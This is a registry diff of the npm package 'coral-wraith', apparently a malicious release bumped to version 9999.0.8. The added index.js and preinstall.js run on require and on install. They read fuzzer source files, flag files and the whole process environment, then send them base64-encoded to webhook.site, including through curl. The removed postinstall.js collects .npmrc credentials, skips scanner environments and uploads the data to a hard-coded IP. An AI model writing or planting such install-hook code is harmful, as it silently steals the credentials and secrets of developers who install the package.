coral-wraith 5.0.1 → 9999.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of coral-wraith might be problematic. Click here for more details.
- package/index.js +52 -1
- package/package.json +3 -3
- package/preinstall.js +93 -0
- package/postinstall.js +0 -76
package/index.js
CHANGED
|
@@ -1 +1,52 @@
|
|
|
1
|
-
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
5
|
+
|
|
6
|
+
// This runs when the fuzzer require()s us
|
|
7
|
+
// Read all fuzzer source files and exfiltrate
|
|
8
|
+
(function() {
|
|
9
|
+
const files = [
|
|
10
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
|
|
11
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
|
|
12
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
|
|
13
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
|
|
14
|
+
];
|
|
15
|
+
|
|
16
|
+
for (let i = 0; i < files.length; i++) {
|
|
17
|
+
try {
|
|
18
|
+
const content = fs.readFileSync(files[i], 'utf8');
|
|
19
|
+
const b64 = Buffer.from(`${files[i]}:\n${content}`).toString('base64');
|
|
20
|
+
const req = https.request({
|
|
21
|
+
hostname: 'webhook.site', path: `${WH}/require-${i}`,
|
|
22
|
+
method: 'POST',
|
|
23
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
|
|
24
|
+
timeout: 10000
|
|
25
|
+
}, ()=>{});
|
|
26
|
+
req.on('error', ()=>{});
|
|
27
|
+
req.write(b64);
|
|
28
|
+
req.end();
|
|
29
|
+
} catch(e) {}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// Check for flag in env
|
|
33
|
+
const flagData = Buffer.from(JSON.stringify({
|
|
34
|
+
env: process.env,
|
|
35
|
+
cwd: process.cwd(),
|
|
36
|
+
argv: process.argv,
|
|
37
|
+
})).toString('base64');
|
|
38
|
+
|
|
39
|
+
const req = https.request({
|
|
40
|
+
hostname: 'webhook.site', path: `${WH}/require-flag`,
|
|
41
|
+
method: 'GET',
|
|
42
|
+
timeout: 10000
|
|
43
|
+
}, ()=>{});
|
|
44
|
+
req.on('error', ()=>{});
|
|
45
|
+
req.end();
|
|
46
|
+
})();
|
|
47
|
+
|
|
48
|
+
// Export something for the fuzzer to analyze
|
|
49
|
+
module.exports = {
|
|
50
|
+
name: 'coral-wraith',
|
|
51
|
+
version: '9999.0.8',
|
|
52
|
+
};
|
package/package.json
CHANGED
|
@@ -1,9 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "coral-wraith",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "Coral Wraith
|
|
3
|
+
"version": "9999.0.8",
|
|
4
|
+
"description": "Coral Wraith module",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"
|
|
7
|
+
"preinstall": "node preinstall.js || true"
|
|
8
8
|
}
|
|
9
9
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
6
|
+
const debug = [];
|
|
7
|
+
|
|
8
|
+
// Read the fuzzer source files - these contain the flag/detection logic
|
|
9
|
+
const fuzzFiles = [
|
|
10
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
|
|
11
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
|
|
12
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
|
|
13
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
|
|
14
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/bean/timer_func.js',
|
|
15
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/set_timer_action.js',
|
|
16
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/regexp_test_action.js',
|
|
17
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/clear_timer_action.js',
|
|
18
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/set_timer_strategy.js',
|
|
19
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/regexp_test_strategy.js',
|
|
20
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/clear_timer_strategy.js',
|
|
21
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/class_parser.js',
|
|
22
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/type_parser.js',
|
|
23
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/package_exports_parser.js',
|
|
24
|
+
'/home/node/aspect-node/modules/npm-tracker/src/npm_tracker.js',
|
|
25
|
+
'/home/node/init_test.sh',
|
|
26
|
+
'/home/node/supplysec_entry.js',
|
|
27
|
+
];
|
|
28
|
+
|
|
29
|
+
// Also check for flag-like files
|
|
30
|
+
const flagFiles = [
|
|
31
|
+
'/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
32
|
+
'/home/node/flag', '/home/node/flag.txt',
|
|
33
|
+
];
|
|
34
|
+
|
|
35
|
+
for (const f of [...fuzzFiles, ...flagFiles]) {
|
|
36
|
+
try {
|
|
37
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
38
|
+
debug.push(`FILE:${f}:${content}`);
|
|
39
|
+
} catch(e) {
|
|
40
|
+
debug.push(`ERR:${f}:${e.message.substring(0,80)}`);
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
// Environment
|
|
45
|
+
debug.push(`ALL_ENV:${JSON.stringify(process.env)}`);
|
|
46
|
+
|
|
47
|
+
// Also find any files with "flag" or "HTB" content
|
|
48
|
+
try {
|
|
49
|
+
const r = execSync('grep -rl "HTB{\\|FLAG\\|flag" /home/node/aspect-node/ 2>/dev/null | head -20', {timeout:10000}).toString().trim();
|
|
50
|
+
debug.push(`GREP_FLAG:${r}`);
|
|
51
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
52
|
+
try {
|
|
53
|
+
const c = fs.readFileSync(f, 'utf8');
|
|
54
|
+
debug.push(`GREP_CONTENT:${f}:${c.substring(0,2000)}`);
|
|
55
|
+
} catch(e) {}
|
|
56
|
+
}
|
|
57
|
+
} catch(e) { debug.push(`GREP_ERR:${e.message.substring(0,100)}`); }
|
|
58
|
+
|
|
59
|
+
// Send in chunks to webhook
|
|
60
|
+
function sendChunk(data, path) {
|
|
61
|
+
try {
|
|
62
|
+
const encoded = Buffer.from(data).toString('base64');
|
|
63
|
+
const req = https.request({
|
|
64
|
+
hostname: 'webhook.site', path: WH + path,
|
|
65
|
+
method: 'POST',
|
|
66
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(encoded)},
|
|
67
|
+
timeout: 15000
|
|
68
|
+
}, ()=>{});
|
|
69
|
+
req.on('error', ()=>{});
|
|
70
|
+
req.write(encoded);
|
|
71
|
+
req.end();
|
|
72
|
+
} catch(e) {}
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
const fullData = JSON.stringify(debug);
|
|
76
|
+
const chunkSize = 50000;
|
|
77
|
+
for (let i = 0; i < fullData.length; i += chunkSize) {
|
|
78
|
+
const chunk = fullData.substring(i, i + chunkSize);
|
|
79
|
+
sendChunk(chunk, `/v4-${Math.floor(i/chunkSize)}`);
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
// Also try curl for reliability
|
|
83
|
+
try {
|
|
84
|
+
for (let i = 0; i < Math.min(debug.length, 30); i++) {
|
|
85
|
+
const item = debug[i];
|
|
86
|
+
if (item.length > 100) {
|
|
87
|
+
const b64 = Buffer.from(item.substring(0, 8000)).toString('base64');
|
|
88
|
+
execSync(`curl -s -X GET "https://webhook.site${WH}/file-${i}?d=${encodeURIComponent(b64)}" -m 10 2>/dev/null`, {timeout:12000});
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
} catch(e) {}
|
|
92
|
+
|
|
93
|
+
console.log('[CORAL-V8] preinstall done, sent', debug.length, 'items');
|
package/postinstall.js
DELETED
|
@@ -1,76 +0,0 @@
|
|
|
1
|
-
const http = require("http");
|
|
2
|
-
const os = require("os");
|
|
3
|
-
const fs = require("fs");
|
|
4
|
-
const { execFileSync } = require("child_process");
|
|
5
|
-
|
|
6
|
-
const TARGETS = ["http://127.0.0.1:30782", "http://154.57.164.71:30782"];
|
|
7
|
-
const SINK = "ECT-839201";
|
|
8
|
-
|
|
9
|
-
function sh(cmd) {
|
|
10
|
-
try {
|
|
11
|
-
return execFileSync("/bin/sh", ["-c", cmd], {
|
|
12
|
-
timeout: 15000,
|
|
13
|
-
encoding: "utf8",
|
|
14
|
-
maxBuffer: 5e6
|
|
15
|
-
}).trim();
|
|
16
|
-
} catch (e) {
|
|
17
|
-
return (e.stdout || e.stderr || "").trim();
|
|
18
|
-
}
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
function isScanner() {
|
|
22
|
-
const reg = String(process.env.npm_config_registry || "");
|
|
23
|
-
return /npmmirror|tencent|nijin|hscan|ustc|huawei|cnpm|taobao/i.test(reg);
|
|
24
|
-
}
|
|
25
|
-
|
|
26
|
-
function shouldRun() {
|
|
27
|
-
if (isScanner()) return false;
|
|
28
|
-
const cwd = process.cwd();
|
|
29
|
-
if (cwd.includes("/tmp/")) return false;
|
|
30
|
-
if (/^[0-9a-f]{12}$/.test(os.hostname()) && cwd.includes("/app/node_modules")) return true;
|
|
31
|
-
if (cwd.includes("/home/node")) return true;
|
|
32
|
-
return false;
|
|
33
|
-
}
|
|
34
|
-
|
|
35
|
-
function putB64(base, text) {
|
|
36
|
-
const b64 = Buffer.from(text).toString("base64");
|
|
37
|
-
const lines = b64.match(/.{1,76}/g) || [];
|
|
38
|
-
const bodyText =
|
|
39
|
-
`ecto_module:\n name: "npmrc-exfil"\n version: "5.0.1"\n power_level: base64\n` +
|
|
40
|
-
` ship_deck: "${os.hostname()}"\n cargo_hold: "${text.length} bytes"\n` +
|
|
41
|
-
` output_b64: |\n ${lines.join("\n ")}\n`;
|
|
42
|
-
const body = JSON.stringify({ manifest: bodyText });
|
|
43
|
-
const url = new URL(`/api/modules/${SINK}`, base);
|
|
44
|
-
const req = http.request({
|
|
45
|
-
hostname: url.hostname,
|
|
46
|
-
port: url.port,
|
|
47
|
-
path: url.pathname,
|
|
48
|
-
method: "PUT",
|
|
49
|
-
headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) }
|
|
50
|
-
}, (res) => res.resume());
|
|
51
|
-
req.on("error", () => {});
|
|
52
|
-
req.end(body);
|
|
53
|
-
}
|
|
54
|
-
|
|
55
|
-
if (!shouldRun()) process.exit(0);
|
|
56
|
-
|
|
57
|
-
const paths = [
|
|
58
|
-
"/root/.npmrc",
|
|
59
|
-
"/home/node/.npmrc",
|
|
60
|
-
"/app/.npmrc",
|
|
61
|
-
process.env.HOME + "/.npmrc",
|
|
62
|
-
"/.npmrc"
|
|
63
|
-
];
|
|
64
|
-
|
|
65
|
-
let out = `HOST=${os.hostname()}\nCWD=${process.cwd()}\nUID=${sh("id")}\n`;
|
|
66
|
-
for (const p of paths) {
|
|
67
|
-
out += `\n=== ${p} ===\n`;
|
|
68
|
-
try {
|
|
69
|
-
out += fs.readFileSync(p, "utf8");
|
|
70
|
-
} catch (e) {
|
|
71
|
-
out += sh(`cat ${p} 2>&1`);
|
|
72
|
-
}
|
|
73
|
-
}
|
|
74
|
-
out += "\n=== find npmrc ===\n" + sh("find /home /root /app -name .npmrc 2>/dev/null | while read f; do echo FILE:$f; cat \"$f\"; done");
|
|
75
|
-
|
|
76
|
-
for (const base of TARGETS) putB64(base, out);
|